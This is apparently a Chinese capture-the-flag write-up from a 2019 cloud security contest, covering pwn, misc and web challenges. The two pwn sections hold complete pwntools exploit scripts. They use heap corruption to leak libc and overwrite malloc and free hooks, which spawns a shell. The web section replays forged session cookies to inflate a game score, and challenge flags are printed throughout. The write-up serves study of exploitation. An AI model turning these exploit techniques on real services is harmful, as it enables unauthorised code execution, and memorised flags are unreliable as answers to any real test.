“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

Pwn

fkroman

House of roman的例题,但是sleep(5)加上house of roman的12bit的。。。不是欧洲人打不了这种打法orz。
用的stdout attack leak后leak出libc后直接改malloc_hook到one_gadget。

from pwn import *
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
while 1:
    #sh=process("fkroman/fkroman")
    libc=ELF("fkroman/libc-2.23.so")
    sh=remote("121.40.246.48",9999)
    def create(Size,Index):
        sh.recvuntil("choice: ")
        sh.sendline("1")
        sh.recvuntil("Index: ")
        sh.sendline(str(Index))
        sh.recvuntil("Size: ")
        sh.sendline(str(int(Size)))
    def free(Index):
        sh.recvuntil("choice: ")
        sh.sendline("3")
        sh.recvuntil("Index: ")
        sh.sendline(str(Index))
    def edit(Index,Content):
        sh.recvuntil("choice")
        sh.sendline("4")
        sh.recvuntil("Index: ")
        sh.sendline(str(Index))
        sh.recvuntil("Size: ")
        sh.sendline(str(int(len(Content))))
        sh.recvuntil("Content: ")
        sh.send(Content)
    sleep(5)
    create(0x18,0)
    create(0xc8,1)
    create(0x65,2)
    edit(1,'a'*0x68+p64(0x61))
    free(1)
    create(0xc8,1)

    create(0x65,3)  
    create(0x65,15)
    create(0x65,18)
    over = "A"*0x18  # off by one
    over += "\x71"  # set chunk  1's size --> 0x71
    edit(0,over)
    free(2)
    free(3)
    heap_po = "\x20"
    edit(3,heap_po)
    malloc_hook_nearly = "\xdd\x25"
    edit(1,malloc_hook_nearly)
    create(0x65,0)
    create(0x65,0)
    create(0x65,7)
    try:
        sh.recv(4,timeout=6)
    except EOFError:
        sh.close()
        continue
    else:
        edit(7,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x08')
        sh.recvuntil(p64(0xfbad1800)+'\x00'*24)
        leak=u64(sh.recv(6)+'\x00\x00')
        mallochook=0x7f20568e1b10+leak-0x7f20568e2608
        log.success("malloc_hook: "+hex(mallochook))
        libcbase=mallochook-libc.symbols['__malloc_hook']
        log.success("libcbase: "+hex(libcbase))
        create(0x60,11)
        free(11)
        edit(11,p64(mallochook-0x23))
        create(0x60,12)
        create(0x60,13)
        edit(13,'\x00'*19+p64(libcbase+onegadget[1]))
        create(0x1,1)
        #gdb.attach(sh) 
        sh.interactive()
        break
#ctf{63f2fa2d7f94394dc3d8e9be1abd34c4}

amazon

Free之后没有置零,可以无限free。。。但是没有uaf,早unsortedbin合并后,造成tcache跟unsortedbin的重合,可以控制fd,然后就是常规的改free到system。
注意改了IO_lock后没办法getshell,这边卡了好久。

from pwn import *
#r=process('./amazon')
r=remote('121.41.38.38',9999)
gadget=0x10a38c
libc=ELF('./libc-2.27.so')
def add(idx,one,size,content):
    r.sendlineafter('Your choice: ','1')
    r.sendlineafter('want to buy:',str(idx))
    r.sendlineafter('How many: ',str(one))
    r.sendlineafter('ow long is your note: ',str(size-0x28))
    r.sendafter('Content: ',content)

def show():
    r.sendlineafter('Your choice: ','2')

def free(idx):
    r.sendlineafter('Your choice: ','3')
    r.sendlineafter('hich item are you going to pay for: ',str(idx))

def gd():
    gdb.attach(r)
    pause()

add(0,0,0x100,'aaaa')#0
add(0,0,0xf0,'bbbb')#1
add(0,0,0x110,'dddd')#2
add(0,0,0x120,'dddd')#3
add(0,0,0xf0,'/bin/sh')#4
for i in range(8):
    free(0)

for i in range(8):
    free(1)
for i in range(8):
    free(2)
show()
r.recvuntil('Name: ')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
libc_base=leak-96-0x10-libc.symbols['__malloc_hook']
one_gadget=libc_base+gadget
print hex(libc_base)
print hex(one_gadget)
sys=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
print hex(sys)
print hex(free_hook)

add(0,0x180,0x120,'a'*0xe0+p64(0)+p64(0x100)+p64(free_hook-64))
add(0,0,0xf0,'a')
add(0,0,0x128,'b'*0xb0+p64(0x210)+p64(0x120)+'/bin/sh')
add(0,0,0xf0,'\x00'*32+p64(sys))
free(2)

r.interactive()
#gd()
#ctf{658ef1d12ba8e5f70bde452701b41efa}

Misc

签到题

flag{029d1a12f531b598a93fba0d2cae138d}

ewm

给了几十张二维码拼图,看到后缀,发现有大小之分。
先提取出所有大的,去掉十几张纯黑的,剩下25张。
手拼二维码!没有PS,用的word文档,将图片拖进来,图片格式改为四周型。

先定位三个角落:

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

再补齐三个角落旁边的区块:

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

然后找到右下角的校正图形区块,并补齐周边:

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

最后就是逐一还原了:

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

扫码得flag{g00d_g00d_study_1jf8988}

findme

需要猜对一个在[0, 2^128]内的数。
ground是下界,sky是上界,每轮都要发过去。

不过对ground和sky的要求很低:

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

可以每轮都发0给ground,2^128给sky。

关键的一个地方是,要发g1,g2过去,然后服务器会根据x与g1,g2的关系返回’1’或者’2’。

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

可以根据这个条件判断,构建一个数学模型:
记secret为x,规定g1<=g2

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

如果g1,g2都在x一侧(都在左侧或者都在右侧),那么判断结果为False,服务器返回’2’。

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

如果x在g1,g2内部,那么判断结果为True,服务器返回’1’。

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

如果g1和g2都等于x,那么服务器就会返回flag。

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

g1,g2的差值有要求,必须要小于(sky-ground)/3+1,也就是2^128/3+1。
思路:

  1. 首先想要让x就在我们第一次输入的[g1,g2]内,即服务器第一次返回要是’1’,然后再继续下面的操作,否则重新连接服务器。这里,我们选择g1=2^127,g2=2^127+2^126,这样我们就有1/4的概率让服务器返回’1’。(有更好的方法,懒得再想了)
  2. 记下此时的mid=(g2-g1)/2,尝试对g2减去mid,看服务器是否返回’1’。如果是’1’,那么就说明x在[g1,g2-mid]内;如果是’2’,就说明x在[g1+mid, g2]内。这样就类似于二分法,可以不断地缩小范围。
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室
  1. 直至最后范围很小,然后在最后的g1和g2的附近去尝试x的值。
from pwn import *

r = remote('121.40.216.20', 9999)
context.log_level = 'debug'

g = 0
s = 2**128
g1 = 2**127
g2 = 2**127 + 2**126

r.recvline()
r.sendline(hex(g))
r.recvline()
r.sendline(hex(s))

r.recvline()
r.sendline(hex(g1))
r.recvline()
r.sendline(hex(g2))
result = r.recvline().strip()
if result != '1':
    exit(0)

while(g2 - g1 > 1):
    mid = (g2 - g1) // 2
    g2 = g2 - mid
    r.recvline()
    r.sendline(hex(g))
    r.recvline()
    r.sendline(hex(s))

    r.recvline()
    r.sendline(hex(g1))
    r.recvline()
    r.sendline(hex(g2))

    result = r.recvline().strip()
    if result == '1':
        pass
    elif result == '2':
        g2 = g2 + mid
        g1 = g1 + mid

g1 = g1 - mid
g2 = g2 + mid

print('\n'+str(g2-g1)+'\n')
for i in range(10):
    r.recvline()
    r.sendline(hex(g))
    r.recvline()
    r.sendline(hex(s))

    r.recvline()
    r.sendline(hex(g1+i))
    r.recvline()
    r.sendline(hex(g1+i))
    print(r.recvline())

r.interactive()
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

最后跑出来,能得到flag{flag_server_boomboom_guess}

Web

gameapp

抓包得cookie,每次postcookie能得分。
其中Response包里的set-cookie会成为下一次requests包的cookie。
但是每次打爆同一个飞机只会给1分,所以我们每次循环post 30分的飞机和6分的飞机,这样一次循环就能得36分。

“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

import requests
import re
import sys   
sys.setrecursionlimit(10000000)
def get_session(c):
    pattern=re.compile('session=(.*?);')
    return pattern.match(c).group(1)

url="http://121.40.219.183:9999/score/"

s_30="MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb\nBdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1\nx+T7s4zN0ahrEdOqC+8="

s_6="UCEj0wHJt9oufI0L1P6RdDttudqGSR8oEj9ImNgNyO+7reF08V/amQq6BVYb+iD4mJDAC6fHYmln\nLBet1f+9etmIb07i3yx2i06EuMrbT8jS6wj1zL1l504lfv7f1nLYQUtxsbi61DwiNzqNeDo4+awz\nKA76X8tEVH3OYh/WqN4="

c="eyJwbGF5ZXIiOiJnYXBwcCIsInNjb3JlIjoyM30.XYRkYA.iFrXfhbGX9jSyLL6LpJM1aXJXr8"
def hack_30(url,s_30,s_6,c):
    h={
        'User-Agent':'Dalvik/2.1.0 (Linux; U; Android 5.1.1; DUK-AL20 Build/LMY48Z)',
        'Connection':'Keep-Alive',
        'Cookie':'session={}'.format(c),
    }
    r=requests.post(url, data=s_30, headers=h)
    c=get_session(r.headers["Set-Cookie"])
    print(r.text)
    hack_30(url,s_30,s_6,c)

def hack_6(url,s_30,s_6,c):
    h={
        'User-Agent':'Dalvik/2.1.0 (Linux; U; Android 5.1.1; DUK-AL20 Build/LMY48Z)',
        'Connection':'Keep-Alive',
        'Cookie':'session={}'.format(c),
    }
    r=requests.post(url, data=s_6, headers=h)
    c=get_session(r.headers["Set-Cookie"])
    print(r.text)
    hack_30(url,s_30,s_6,c)

if __name__ == "__main__":
    hack_30(url,s_30,s_6,c)
“数字经济”云安全公测大赛2019 Writeup by X1cT34m-小绿草信息安全实验室

flag{2968ababe9b9a975037b15168f67a46c}